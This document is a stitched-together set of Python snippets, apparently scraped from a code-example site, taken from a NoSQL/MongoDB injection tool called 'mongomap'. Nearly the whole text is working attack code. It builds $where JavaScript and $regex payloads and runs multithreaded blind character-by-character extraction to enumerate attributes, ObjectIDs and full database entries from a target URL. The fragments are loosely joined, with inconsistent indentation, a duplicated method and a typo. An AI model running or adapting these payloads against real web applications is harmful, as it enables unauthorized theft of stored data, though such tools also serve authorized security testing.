def dumpEntry(self, var=[], retry=0):
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ '\"!#$%&._()*+,-/:;<=>?@{|}[]^`~"
        i = 0
        while True:
            i += 1
            if i > 500:
                bold("".join(var))
                if question("This entry seems abnormally long. Skip it?"):
                    break
            prev = len(var)
            threads = []
            for c in charset:
                if len(threads) > self.scanner.maxthreads:
                    threads.pop().join()
                thread = threading.Thread(target=self.dumpEntryChar,
                                          args=(var, c))
                threads.append(thread)
                thread.start()

            for thread in threads:
                thread.join()

            if prev == len(var):
                break
        entry = "".join(var).replace("\\\\",
                                     '\\').replace("\\\'",
                                                   "'").replace("\\\"", '"')
        if entry != "":
            bold("Found an entry: " + entry)
            self.entries.append(entry)
        else:
            failure(
                "Failed to fetch an entry. Maybe it was a false positive or internet delay?"
            )
Ejemplo n.º 2
0
    def retrieveMaxLength(self):
        try:
            length = 1;
            data = copy.deepcopy(self.scanner.data);
            self.injectRegex(data,self.param,".{"+str(length)+"}");
            #data.pop(self.param);
            #data[self.param+"[$regex]"] = ".{"+str(length)+"}";
            req = self.scanner.sendData(data);
            check = self.scanner.check(req);
            
            while check != "none":
                if length == 70:
                    if question("Length abnormally long. Do you want to terminate the program?"):
                        return -1;
                length += 1;
                data = copy.deepcopy(self.scanner.data);
                self.injectRegex(data,self.param,".{"+str(length)+"}");
                #data.pop(self.param);
                #data[self.param+"[$regex]"] = ".{"+str(length)+"}";
                req = self.scanner.sendData(data);
                check = self.scanner.check(req);

            success("Retrieved max length: " + str(length-1));
            return length-1;
        except Exception as e:
            print(e);
            failure("Failed to retrieve max length.");
            return -1;
    def dumpIDChar(self, var, c):
        length = 24
        try:
            speshul = self.options["q"] + "\\"
            oldVar = copy.deepcopy(var)
            oldVarLength = len(var)
            condition = "".join(var) + c
            if c in speshul:
                condition = "".join(var) + "\\" + c

            payload = self.buildPayload(
                self.options, " || this._id.str.startsWith(\\\"" + condition +
                "\\\") && '' == '")
            data = copy.deepcopy(self.scanner.data)
            data[self.param] = payload
            req = self.scanner.sendData(data)
            check = self.scanner.check(req)
            oldVar.append(c)
            if check != "none":
                if len(var) == oldVarLength:
                    #failure("Added "+c);
                    var.append(c)

                    verbose("".join(var) + "." * (length - len(var)))
                elif oldVar not in self.toGrabInFuture:
                    self.toGrabInFuture.append(oldVar)
                    verbose("Found alternative, will test later: " +
                            "".join(oldVar))
                    #info(self.fromVarToString(oldVar) + "."*(length-len(oldVar)));
        except Exception as e:
            failure(str(e))
            self.dumpIDChar(var, c)
    def dumpEntryChar(self, var, c):
        try:
            speshul = ["\\", "'", '"']
            oldVar = copy.deepcopy(var)
            oldVarLength = len(var)
            if c in speshul:
                c = "\\" + c
            condition = "".join(var) + c

            payload = self.buildPayload(
                self.options, " || JSON.stringify(this)" + self.slice +
                ".startsWith('" + condition + "') && '' == ")

            data = copy.deepcopy(self.scanner.data)
            data[self.param] = payload
            req = self.scanner.sendData(data)
            check = self.scanner.check(req)
            oldVar.append(c)
            if check != "none":
                if len(var) == oldVarLength:
                    #failure("Added "+c);
                    var.append(c)
                    #print(payload);
                    verbose("".join(var) + "...")
                elif oldVar not in self.toGrabInFuture:
                    self.toGrabInFuture.append(oldVar)
                    verbose("Found alternative, will test later: " +
                            "".join(oldVar))
                    #info(self.fromVarToString(oldVar) + "."*(length-len(oldVar)));
        except Exception as e:
            failure(str(e))
            self.dumpEntryChar(var, c)
    def retrieveMaxLength(self, attribute):
        try:
            length = 1

            payload = self.buildPayload(
                self.options, " || this." + attribute +
                ".toString().match(\\\".{" + str(length) + "}\\\") && '' == '")

            data = copy.deepcopy(self.scanner.data)
            data[self.param] = payload
            req = self.scanner.sendData(data)

            while self.scanner.check(req) != "none":
                if length == 70:
                    if question(
                            "Length abnormally long. Do you want to terminate the program?"
                    ):
                        return -1
                length += 1
                payload = self.buildPayload(
                    self.options, " || this." + attribute +
                    ".toString().match(\".{" + str(length) + "}\") && '' == '")
                data = copy.deepcopy(self.scanner.data)
                data[self.param] = payload
                req = self.scanner.sendData(data)

            success("Retrieved max length: " + str(length - 1))
            return length - 1
        except Exception as e:
            print(e)
            failure("Failed to retrieve max length.")
            return -1
 def grabData(self):
     bold(
         "Be warned that this module may take some time to retrieve output."
     )
     if not question("Omit ObjectID from dump? (Faster)"):
         self.slice = ""
     self.grabEntries()
     if len(self.entries) == 0:
         failure("Failed to fetch any entries.")
         return None
     return ["Found Entries:"] + self.entries
 def grabData(self):
     bold(
         "Be warned that this module may take some time to retrieve output."
     )
     if not question("Omit ObjectID from dump? (Faster)"):
         self.slice = ""
     self.grabEntries()
     if len(self.entries) == 0:
         failure(
             "Nothing was retrieved with this module. Maybe false positive?"
         )
         return None
     return ["Found Entries:"] + self.entries
    def grabData(self):
        if len(self.scanner.element_attributes) > 0:
            if question(
                    "There are already some found attributes. Do you want to find again with this module?"
            ):
                self.grabElementAttributes()
        else:
            self.grabElementAttributes()

        if len(self.scanner.element_attributes) > 0:
            success("Some attributes are present. We can proceed to step 2.")
            bold("Attributes to be used:")
            for attribute in self.scanner.element_attributes:
                bold("- " + attribute)
        else:
            failure("No attributes could be found. We cannot dump anything.")
            return None

        if len(self.scanner.objectIDs) > 0:
            if question(
                    "There are already some found IDs. Do you want to find again with this module?"
            ):
                self.grabIDs()
        else:
            self.grabIDs()

        if len(self.scanner.objectIDs) == 0:
            failure("No IDs found. Database may be empty.")
            return None

        if len(self.scanner.objectIDs) > 0:
            success("Some ObjectIDs are present. Proceeding with step 3.")

        grabbedData = {}
        for objectID in self.scanner.objectIDs:
            dump = self.grabDataFromID(objectID)
            grabbedData[objectID] = dump

        output = []
        for id in grabbedData:
            output.append(id)
            dump = grabbedData[id]
            for attrib in dump:
                value = dump[attrib]["value"]
                output.append("\t" + attrib + " : " + str(value))

        return ["Element Attributes:"] + self.scanner.element_attributes + [
            "", "Object IDs:"
        ] + self.objectIDs
Ejemplo n.º 9
0
    def testConnection(self):
        #try:
        req = self.sendData(self.data)
        self.status_baseline = req.status_code
        if str(req.status_code).startswith("4"):
            failure("Website returned status code " + str(req.status_code) +
                    "!")

        self.textBaseline = req.text

        if str(req.status_code).startswith("3"):
            if question("Redirect to " + req.url + " detected. Follow?"):
                self.url = req.url
                return self.testConnection()

        return True
Ejemplo n.º 10
0
    def grabData(self):
        req1 = self.scanner.sendData(self.scanner.data)
        results = []
        for data in self.workingCombinations:
            results.append("")
            results.append("For payload: " + self.scanner.implodeData(data))
            results.append("")
            req2 = self.scanner.sendData(data)
            if req1.status_code != req2.status_code:
                change = str(req1.status_code) + " => " + str(req2.status_code)
                results.extend(
                    ["Status code with the injection is different!", change])
                results.append("")

            elif req1.text != req2.text:
                diff = difflib.unified_diff(req1.text, req2.text)
                new = ""
                for item in diff:
                    if item.startswith("+"):
                        if len(item) > 2:
                            continue
                        new += item[1]
                if new.strip() != "":
                    results.extend(["Content Difference:"] + [new])
                    results.append("")
            if req1.cookies != req2.cookies:
                cookies = []
                oldCookies = req1.cookies.get_dict()
                for key in req2.cookies.get_dict():
                    if key in oldCookies:
                        if oldCookies[key] == req2.cookies.get_dict()[key]:
                            continue
                    cookies.append(key + " : " + req2.cookies.get_dict()[key])

                if len(cookies) > 0:
                    results.extend(["New Cookies:"] + cookies)
                    results.append("")

        if len(results) == 3 * len(self.workingCombinations):
            failure("All combinations failed to retrieve data!")
            return None

        #success("[$ne] injection was a success! Be sure to customise the parameters to attempt regex injection.");

        return results
Ejemplo n.º 11
0
 def retrieveLengths(self,maxLength):
     lengths = [];
     for length in range(1,maxLength+1):
         try:
             data = copy.deepcopy(self.scanner.data);
             self.injectRegex(data,self.param,"^(.{"+str(length)+"})$");
             #data.pop(self.param);
             #data[self.param+"[$regex]"] = "^(.{"+str(length)+"})$";
             req = self.scanner.sendData(data);
             check = self.scanner.check(req);
             if check != "none":
                 lengths.append(length);
                 success("Retrieved length " + str(length));
         except Exception as e:
             print(e);
             failure("Failed to retrieve exact length.");
             return lengths;
     return lengths;
Ejemplo n.º 12
0
    def grabData(self):
        results = []
        req1 = self.scanner.sendData(self.scanner.data)
        results.append("")
        results.append("")
        data = copy.deepcopy(self.scanner.data)
        data[self.param] = self.buildPayload(self.options, " ||  '' == ")
        req = self.scanner.sendData(data)
        req2 = self.scanner.sendData(data)
        results.append("For payload: " + data[self.param])
        if req1.status_code != req2.status_code:
            change = str(req1.status_code) + " => " + str(req2.status_code)
            results.extend(
                ["Status code with the injection is different!", change])
            results.append("")

        elif req1.text != req2.text:
            diff = difflib.unified_diff(req1.text, req2.text)
            new = ""
            for item in diff:
                if item.startswith("+"):
                    if len(item) > 2:
                        continue
                    new += item[1]
            if new.strip() != "":
                results.extend(["Content Difference:"] + [new])
                results.append("")
        if req1.cookies != req2.cookies:
            cookies = []
            oldCookies = req1.cookies.get_dict()
            for key in req2.cookies.get_dict():
                if key in oldCookies:
                    if oldCookies[key] == req2.cookies.get_dict()[key]:
                        continue
                cookies.append(key + " : " + req2.cookies.get_dict()[key])

            if len(cookies) > 0:
                results.extend(["New Cookies:"] + cookies)
                results.append("")
        if len(results) == 3:
            failure("No differences could be found.")
            return None
        return results
Ejemplo n.º 13
0
def showTechniqueHelp(techniques):
    tests = getTests("", "", Scanner("http://localhost/index.php?me=a"))
    for testname in tests:
        test = tests[testname]
        if str(test.getID()) in techniques or str(
                test.getType()) in techniques:
            plain("")
            success(testname)
            print("_" * 50)
            failure("ID: " + str(test.getID()))
            type = "(a) Array Injection"
            if test.getType() == "w":
                type = "(w) Where Injection"
            if "blind" in testname.lower():
                type = "Blind " + type

            failure("Type: " + type)
            plain("")
            test.doc()
            print("_" * 50)
 def retrieveLengths(self, maxLength, attribute):
     lengths = []
     for length in range(1, maxLength + 1):
         try:
             regex = "^" + "." * length + "$"
             payload = self.buildPayload(
                 self.options, " || this." + attribute +
                 ".toString().match(\\\"" + regex + "\\\") && '' == '")
             data = copy.deepcopy(self.scanner.data)
             data[self.param] = payload
             req = self.scanner.sendData(data)
             check = self.scanner.check(req)
             if check != "none":
                 lengths.append(length)
                 success("Retrieved length " + str(length))
         except Exception as e:
             print(e)
             failure("Failed to retrieve exact length.")
             return lengths
     return lengths
Ejemplo n.º 15
0
 def grabLetter(self,length,var,c):
     try:
         oldVarLength = len(var);
         if c == "\\":
             c += c; #Make sure it's escaped
         if c == "^":
             c = "\\^"; #Make sure this is escaped. ^ means anything
         c = "[" + c + "]";
         data = copy.deepcopy(self.scanner.data);
         self.injectRegex(data,self.param,"^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$");
         #data.pop(self.param);
         #data[self.param+"[$regex]"] = "^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$";
         #print("^"+"".join(var)+c+".{"+str(length-1-len(var))+"}$");
         req = self.scanner.sendData(data);
         check = self.scanner.check(req);
         if check != "none":
             if len(var) == oldVarLength:
                 var.append(c);
                 info(self.fromVarToString(var) + "."*(length-len(var)));
     except Exception as e:
         failure(str(e));
         self.grabLetter(length,var,c);
    def tryElementAttribute(self, attribute, newAttributes, retry=0):
        if retry > 10:
            failure(
                "Failed to connect to target 10 times! Consider killing the program."
            )
            return
        try:

            payload = self.buildPayload(
                self.options,
                " || this." + attribute + ".toString().match(/.*/) && '' == '")
            data = copy.deepcopy(self.scanner.data)
            data[self.param] = payload
            req = self.scanner.sendData(data)

            if req.text != self.scanner.textErrorBaseline:
                if attribute not in self.scanner.element_attributes:
                    newAttributes.append(attribute)
                    success("Found an element attribute: " + attribute)
                else:
                    info("Element attribute: " + attribute + " reconfirmed.")
        except:
            self.tryElementAttribute(atrribute, newAttributes, retry + 1)
    def dumpIDValue(self, var=[], retry=0):
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\!#$%&._()*+,-/:;<=>?@{|}[]^`~"

        while len(var) < 24:
            prev = len(var)
            threads = []
            for c in charset:
                if len(threads) > self.scanner.maxthreads:
                    threads.pop().join()
                thread = threading.Thread(target=self.dumpIDChar,
                                          args=(var, c))
                threads.append(thread)
                thread.start()

            for thread in threads:
                thread.join()

            if prev == len(var):
                failure("Something went wrong.")
                if retry < 10:
                    self.dumpIDValue(var, retry + 1)
        bold("Found an ObjectID: " + "".join(var))
        self.objectIDs.append("".join(var))
    def grabIDs(self):

        if "_id" not in self.scanner.element_attributes:
            #All elements MUST have _id. If this was not found, then this probably wasn't an element.
            failure("_id was not one of the found attributes. Cannot dump.")
        else:
            self.keyAttribute = "_id"
        bold("Using " + self.keyAttribute + " as a unique key.")

        self.toGrabInFuture = []
        self.dumpIDValue()

        threads = []
        while len(self.toGrabInFuture) > 0:
            var = self.toGrabInFuture.pop()
            self.dumpIDValue(var=var, retry=5)

        for id in self.objectIDs:
            if id not in self.scanner.objectIDs:
                success("New ObjectID: " + id)
                self.scanner.objectIDs.append(id)
            else:
                bold("Re-confirmed id: " + id)
Ejemplo n.º 19
0
    def handleData(self):
        strData = self.data
        if self.method == "get" and strData == "":
            split = self.url.split("?")
            if len(split) != 2:
                failure(
                    "Get request method selected, but url has no get parameters"
                )
                sys.exit(1)
            else:
                self.explodeData(split[1])
                self.url = split[0]
        elif self.method == "post":
            self.explodeData(strData)
        elif self.method == "json":
            pass
            #Already in the correct form.

        if "/" not in self.url.replace("://", ""):
            bold("URL: " + self.url)
            if question(
                    "There is no / in your url. Do you want to add a trailing slash?"
            ):
                self.url += "/"
Ejemplo n.º 20
0
    def grabWord(self,length):
        charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\\\"#$%&'._()*+,-/:;<=>?@{|}[\]^`~"
        var = [];
        while len(self.fromVarToString(var)) < length:
            prev = len(var);
            threads = []
            for c in charset:
                if len(threads) > self.scanner.maxthreads:
                    threads.pop().join();
                thread = threading.Thread(target = self.grabLetter, args = (length,var,c));
                threads.append(thread);
                thread.start();

            for thread in threads:
                thread.join();
            
            if prev == len(var):
                failure("Something went wrong.");
                if not question("Try again?"):
                    return None;
                else:
                    var = [];
                    continue;
        return self.fromVarToString(var);
    def grabDataFromID(self, objectID):
        dump = {}
        for attribute in self.scanner.element_attributes:
            if attribute == "_id":
                continue
            length = -1
            value = None
            try:
                testLength = 0
                bold("Attempting to retrieve length of " + attribute +
                     " for ID " + objectID)
                while length == -1:
                    testLength += 1
                    if testLength == 70:
                        if question(
                                "The length seems unnaturally long. Skip this attribute?"
                        ):
                            break
                    regex = "^" + "." * testLength + "$"
                    payload = self.buildPayload(
                        self.options,
                        " || this." + attribute + ".toString().match(\\\"" +
                        regex + "\\\") && this._id.str == '" + objectID)
                    data = copy.deepcopy(self.scanner.data)
                    data[self.param] = payload
                    req = self.scanner.sendData(data)
                    check = self.scanner.check(req)
                    if check != "none":
                        length = testLength
                        success("Retrieved length " + str(testLength) +
                                " for " + attribute + " for ID " + objectID)

            except Exception as e:
                print(e)
                failure("Failed to retrieve exact length for " + attribute +
                        " for ID " + objectID)

            try:
                if length == -1:
                    failure("Failed to retrieve " + attribute + " for ID " +
                            objectID)
                    continue

                bold("Attempting to retrieve value of " + attribute +
                     " for ID " + objectID)

            except Exception as e:
                print(e)
                failure("Failed to retrieve value of " + attribute +
                        " for ID " + objectID)

            dump[attribute] = {
                "length": length,
                "value": value
            }
        return dump
Ejemplo n.º 22
0
def extractArgs():
    flags = ["dump", "help", "h", "v", "techniques", "ts"]
    options = [
        "u", "t", "method", "data", "p", "cookies", "headers", "maxbrute",
        "maxthreads", "ignorecheck", "csrftoken", "objectids", "file"
    ]

    parsed = {}

    if len(sys.argv) <= 1:
        showHelp()
        sys.exit(1)

    expectingVal = None

    #Parse arguments
    for arg in range(1, len(sys.argv)):
        arg = sys.argv[arg]
        if expectingVal == None:
            if arg.startswith("-"):
                arg = arg.replace("-", "")
                if arg in flags:
                    parsed[arg] = True
                elif arg in options:
                    expectingVal = arg
                else:
                    failure("Unknown option/flag: " + arg)
                    sys.exit(1)
            else:
                failure("Value without option: " + arg)
                sys.exit(1)
        else:
            if arg.startswith("-"):
                failure("Expecting value for option: " + expectingVal)
                sys.exit(1)
            else:
                parsed[expectingVal] = arg
                expectingVal = None

    verbose("Options provided:")
    for key in parsed:
        if key in flags:
            verbose(key + " flag")
        else:
            verbose(key + " - " + parsed[key])

    if "techniques" in parsed or "ts" in parsed:
        showTechniques()
        sys.exit(1)

    if "h" in parsed or "help" in parsed:
        if "t" not in parsed:
            showHelp()
        else:
            techniques = parsed["t"]
            showTechniqueHelp(techniques)
        sys.exit(1)

    if "u" not in parsed:
        failure("You must specify a target with -u!")
        sys.exit(1)

    return parsed
Ejemplo n.º 23
0
def main():
    colinit()
    banner()
    #Initiations
    parsed = extractArgs()
    scanner = initScanner(parsed)

    #Test connection to target
    if scanner.testConnection():
        success("URL can be reached.")
    else:
        failure(scanner.url + " cannot be reached. Did you forget http://?")
        sys.exit(1)

    print()

    params = scanner.getParams()

    if "v" in parsed:
        setVerbose(True)

    if "p" in parsed:
        toTest = parsed["p"].split(",")
        for param in toTest:
            if param not in params:
                failure("Param, " + param +
                        " is not provided in your get/post data!")
                sys.exit(1)
        params = toTest

    verbose("Going to test the following parameters:")
    for param in params:
        verbose(param)

    print()

    bold("Beginning testing phase.")
    vulnParams = {}
    tested = 0
    for param in params:
        tested += 1
        bold("Testing for param " + param)
        successes = scanner.testParam(param)
        if len(successes) > 0:
            vulnParams[param] = successes
            success(param + " is injectible.")
            if tested < len(params):
                if not question("Continue testing other parameters?"):
                    break

    print()
    bold("Test phase completed.")

    if len(vulnParams) == 0:
        failure("No vulnerable parameters found.")
        sys.exit(1)

    print()
    success("Vulnerable Parameters:")
    for param in vulnParams:
        success(param)
        for vuln in vulnParams[param]:
            success("- " + vuln)

    print()
    info("Attempting to dump data...")

    for param in vulnParams:
        bold("Parameter: " + param)
        for vuln in vulnParams[param]:
            print()
            bold("Attemping dump with " + vuln + " on param " + param)
            print()
            dump = scanner.dumpData(param, vuln)
            if dump == None:
                print()
                failure(vuln + " for " + param + " failed to dump.")
            else:
                print()
                success(vuln + " for " + param + " has retrieved:")
                if type(dump) == type("str"):
                    success("\t" + dump)
                elif type(dump) == type({}):
                    for key in dump:
                        success("\t" + str(key) + " : " + str(dump[key]))
                elif type(dump) == type([]):
                    for i in dump:
                        success("\t" + str(i))
            print()
Ejemplo n.º 24
0
def initScanner(parsed):
    url = parsed["u"]
    method = "get"
    data = ""
    if "file" in parsed:
        f = open(parsed["file"], "r")
        parsed["data"] = f.read()
        f.close()
    if "method" in parsed:
        if parsed["method"] == "post" or parsed["method"] == "json":
            if "data" not in parsed:
                failure(
                    "You must set the data option if you want to send post or json requests!"
                )
                sys.exit(1)
        method = parsed["method"]
        if parsed["method"] == "json":
            try:
                data = json.loads(parsed["data"])
            except:
                failure(parsed["data"])
                failure(
                    "The data provided was not json, but mongomap was told to send json data."
                )
                sys.exit(1)
    if "data" in parsed:
        data = parsed["data"]
        if method == "json":
            data = json.loads(data)

    scanner = Scanner(url, method, data)

    if "cookies" in parsed:
        cookies = {}
        for entry in parsed["cookies"].split(";"):
            key, value = entry.split("=")
            key = key.strip()
            value = value.strip()
            cookies[key] = value
        scanner.cookies = cookies

    if "headers" in parsed:
        headers = {}
        for entry in parsed["headers"].split(";"):
            key, value = entry.split(":")
            key = key.strip()
            value = value.strip()
            headers[key] = value
        scanner.headers = headers

    if "maxthreads" in parsed:
        maxthreads = int(parsed["maxthreads"])
        scanner.maxthreads = maxthreads

    if "maxbrute" in parsed:
        maxbrute = int(parsed["maxbrute"])
        scanner.maxbrute = maxbrute

    if "objectids" in parsed:
        objectids = parsed["objectids"].split(",")
        scanner.objectIDs = objectids

    if "csrftoken" in parsed:
        csrftoken = parsed["csrftoken"]
        failure(
            "Warning: CSRFToken handling is not coded yet. You must modify handleCSRF inside lib/scanner.py to let it work with a specific situation."
        )
        scanner.csrfToken = csrftoken

    if "ignorecheck" in parsed:
        scanner.ignore_check = parsed["ignorecheck"].split(",")

    if "t" in parsed:
        scanner.techniques = parsed["t"]

    return scanner